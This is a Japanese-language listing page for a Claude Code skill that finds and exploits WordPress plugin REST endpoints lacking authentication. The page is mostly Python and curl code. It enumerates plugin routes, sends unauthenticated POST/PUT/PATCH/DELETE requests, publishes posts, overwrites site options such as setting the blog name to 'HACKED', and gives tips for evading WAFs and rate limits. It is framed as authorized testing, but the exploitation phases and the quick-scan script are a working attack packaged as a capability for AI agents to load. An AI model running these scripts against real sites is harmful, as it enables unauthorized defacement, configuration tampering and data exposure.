wp-plugin-rest-auth-bypass について
WordPress プラグインの REST ルートを列挙し、未認証の書き込みエンドポイントを調べるセキュリティテスト用スキルです。コンテンツ公開や設定変更、データ漏えいのリスクを検証する手順を示します。
主な機能
- 01プラグインの REST 名前空間とルートの列挙
- 02未認証の書き込みメソッドの特定
- 03エンドポイント応答とパラメーターの調査
- 04影響の検証と発見事項の記録
活用シーン
- 01認可済みテストでの WordPress プラグイン API 評価
- 02プラグインの認証強制状況の確認
- 03不正な公開や設定変更の疑いの検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill wp-plugin-rest-auth-bypassインストール後、Claude Code で/wp-plugin-rest-auth-bypassを入力して読み込まれたか確認します。
詳細
WordPress Plugin REST API — 認証バイパス
WordPress プラグインは、/wp-json/{namespace}/ に独自の REST API ルートを登録します。多くのプラグイン開発者は権限コールバックの追加を忘れており、その結果、状態を変更するエンドポイント(POST/PUT/PATCH/DELETE)が未認証ユーザーからアクセス可能になっています。このスキルでは、すべてのプラグインルートを列挙し、認証が欠けている書き込みエンドポイントを特定して、コンテンツの公開、設定の変更、データの漏えいに悪用します。
使用する場面
/wp-json/wp/v2/users経由でユーザー情報が公開されている WordPress サイトが対象です。/wp-json/から興味深いプラグインの名前空間を見つけたものの、そのルートを調べる必要があります。- 標準の WordPress エンドポイントは 401 を返しますが、サードパーティ製プラグインのエンドポイントはそうとは限りません。
- 隠れた管理者 URL、デバッグエンドポイント、未認証の書き込み操作を見つけたい場合です。
前提条件
requestsライブラリを備えたpython3。- 対象となる WordPress サイトの URL。
手順
フェーズ 1 — すべてのプラグインの名前空間を列挙する
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/wp-json/" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for ns in data.get('namespaces', []):
print(ns)
"
サードパーティ製プラグインを見つけるため、標準の WordPress 名前空間を除外します。
Standard: oembed/1.0, wp/v2, wp-site-health/v1, wp-block-editor/v1
Plugins: gpl/v1, sliderrevolution, yoast/v1, elementor/v1, wc/v3, gf/v2, ...
フェーズ 2 — 各プラグインのすべてのルートを調べる
import requests, json
BASE = "https://target.com"
# Get full route map
r = requests.get(f"{BASE}/wp-json/", timeout=10)
data = r.json()
for plugin_ns in ["gpl/v1", "gsf/v1", "sliderrevolution", "solidwp-mail/v1"]:
r = requests.get(f"{BASE}/wp-json/{plugin_ns}/", timeout=10)
if r.status_code == 200:
routes = r.json().get('routes', {})
for path, config in routes.items():
methods = config.get('methods', [])
args = list(config.get('endpoints', [{}])[0].get('args', {}).keys())
print(f" [{','.join(methods)}] {path}")
if args:
print(f" Args: {args}")
フェーズ 3 — 状態を変更するエンドポイント(POST/PUT/PATCH/DELETE)を特定する
# Test each POST/PUT/PATCH endpoint without auth
for path, config in routes.items():
methods = config.get('methods', [])
for method in methods:
if method in ['POST', 'PUT', 'PATCH', 'DELETE']:
r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
if r.status_code == 200:
print(f" ⚠️ [{method}] {path}: {r.text[:300]}")
エンドポイントが悪用可能であることを示す主な指標:
| レスポンス | 意味 |
|---|---|
"Post published" / "Success" | 未認証の書き込みを確認 |
"Missing parameter: X" | エンドポイントは動作しています。正しいパラメーターが必要です |
"Sorry, you are not allowed" | 認証が適用されています。安全です |
"rest_forbidden" | 認証が適用されています。安全です |
"rest_missing_callback_param" | エンドポイントは動作しています。パラメーターを指定して試してください |
"Invalid action" | エンドポイントは入力を受け付けます。有効な値を見つけてください |
フェーズ 4 — 未認証のエンドポイントを悪用する
コンテンツの公開(最も一般的):
# Try creating posts/pages/products
for post_type in ["post", "page", "product"]:
r = requests.post(
f"{BASE}/wp-json/{plugin_ns}/publish-builder-pro",
json={"title": "Test", "post_type": post_type, "content": "test", "status": "publish"},
timeout=10
)
if r.status_code == 200:
print(f" Created {post_type}: {r.json().get('post_url')}")
設定の変更:
# Try modifying WordPress options
r = requests.post(
f"{BASE}/wp-json/{plugin_ns}/update-options",
json={"option_name": "blogname", "option_value": "HACKED"},
timeout=10
)
隠れたエンドポイントの発見:
# Some plugins leak admin URLs or debug info
for endpoint in ["login-url", "status", "config", "debug", "phpinfo"]:
r = requests.get(f"{BASE}/wp-json/{plugin_ns}/{endpoint}", timeout=10)
if r.status_code == 200:
print(f" {endpoint}: {r.text[:200]}")
クイックスキャンスクリプト
import requests, json, sys
BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"
# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]
print(f"Plugins: {len(plugins)}")
for ns in plugins:
r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
if r.status_code != 200:
continue
routes = r.json().get('routes', {})
for path, cfg in routes.items():
methods = cfg.get('methods', [])
for method in methods:
if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
continue
# Test without auth
r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
if r.status_code == 200:
text = r.text.lower()
if 'forbidden' not in text and 'not allowed' not in text and 'rest_cannot' not in text:
print(f"\n⚠️ UNPROTECTED: [{method}] {ns}{path}")
print(f" {r.text[:300]}")
# Try common payloads
for payload in [
{"title": "test", "content": "test", "status": "publish", "post_type": "page"},
{"title": "test", "content": "test", "post_type": "post"},
{"title": "test", "content": "test", "post_type": "product"},
]:
r2 = requests.request(method, f"{BASE}/wp-json{path}", json=payload, timeout=10)
if 'published' in r2.text.lower() or 'created' in r2.text.lower() or 'success' in r2.text.lower():
print(f" ✅ {r2.text[:200]}")
break
注意点
- 401 と 400 の違い:401 は認証が適用されていることを意味します。「Missing parameter」を含む 400 は、エンドポイントにアクセスできますが、正しい引数が必要であることを意味します。
- JSON の解析:プラグインによっては JSON を文字列として返す(二重エンコードする)ことがあります。
r.json()の前にr.textを確認してください。 - レート制限:短時間に繰り返しテストすると、セキュリティプラグインが作動することがあります。リクエストの間隔を 1~2 秒空けてください。
- WAF の干渉:Cloudflare や Wordfence により、特定のパスへの POST リクエストがブロックされる場合があります。異なる
Content-Typeヘッダーを試してください。 - 投稿タイプの検証:エンドポイントによっては、
post_typeが登録済みのタイプかどうかを検証します。post、page、product、attachment、およびカスタムタイプを試してください。 - テストデータのクリーンアップ:テスト中にコンテンツを作成した場合、可能であれば削除してください。プラグインに未認証の DELETE がない場合は、手動でのクリーンアップが必要であることを記録してください。
検証
- エンドポイントは、401 を返すことなく、状態を変更する操作(POST/PUT/PATCH/DELETE)を受け付ける必要があります。
- 作成されたコンテンツの URL にアクセスするか、レスポンスを確認して、成功を確かめてください。
- 設定変更の場合、悪用後に設定を読み取り、変更が反映されたことを確認してください。
- 再現できるよう、正確なペイロード、エンドポイントのパス、HTTP メソッド、レスポンスを記録してください。
コメント
Markdown 対応